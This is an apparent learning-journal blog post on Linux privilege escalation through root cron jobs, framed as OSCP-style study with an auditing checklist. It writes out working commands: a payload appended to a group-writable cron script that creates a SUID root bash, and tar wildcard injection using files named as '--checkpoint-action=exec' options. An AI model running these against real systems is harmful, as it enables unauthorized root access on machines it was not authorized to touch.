🛠️ The "Automation-to-Root" Pipeline
1. Writable Cron Script (The Group Privilege Trap)
Sometimes a script isn't world-writable, but it is writable by a Group you belong to.
-
The Scenario: A root cron job runs
/usr/local/bin/backup.sh. The script is owned byroot:devwith774permissions. -
The Exploit: If you are in the
devgroup, you can append a payload to create a SUID bash:echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh -
The Result: Within a minute,
/tmp/rootbash -pgives you a root shell.
2. Wildcard Injection (The "tar" Trick)
This is a classic OSCP-style exploit. If a root cron job runs:
tar -czf /tmp/backup.tar.gz /var/www/html/*
And /var/www/html/ is world-writable, the * expands to include every filename in that folder as a command-line argument.
-
The Injection: I created files that
tarinterprets as options:touch /var/www/html/--checkpoint=1touch /var/www/html/--checkpoint-action=exec=sh\ exploit.sh
-
The Mechanism: When
tarruns, it sees--checkpoint=1as a flag, not a filename, and executesexploit.shas root.
🕵️♂️ The "Wildcard Hunt" Checklist
When auditing a new machine, I now specifically look for:
-
Cron Jobs: Any command in
/etc/crontabthat uses a*. -
Utilities:
tar,rsync, and7zare high-priority targets for argument injection. -
Shared Folders:
/var/www/html,/tmp, and/optare common places where wildcards and world-writable permissions meet.
Follow my journey: #1HourADayJourney
Top comments (0)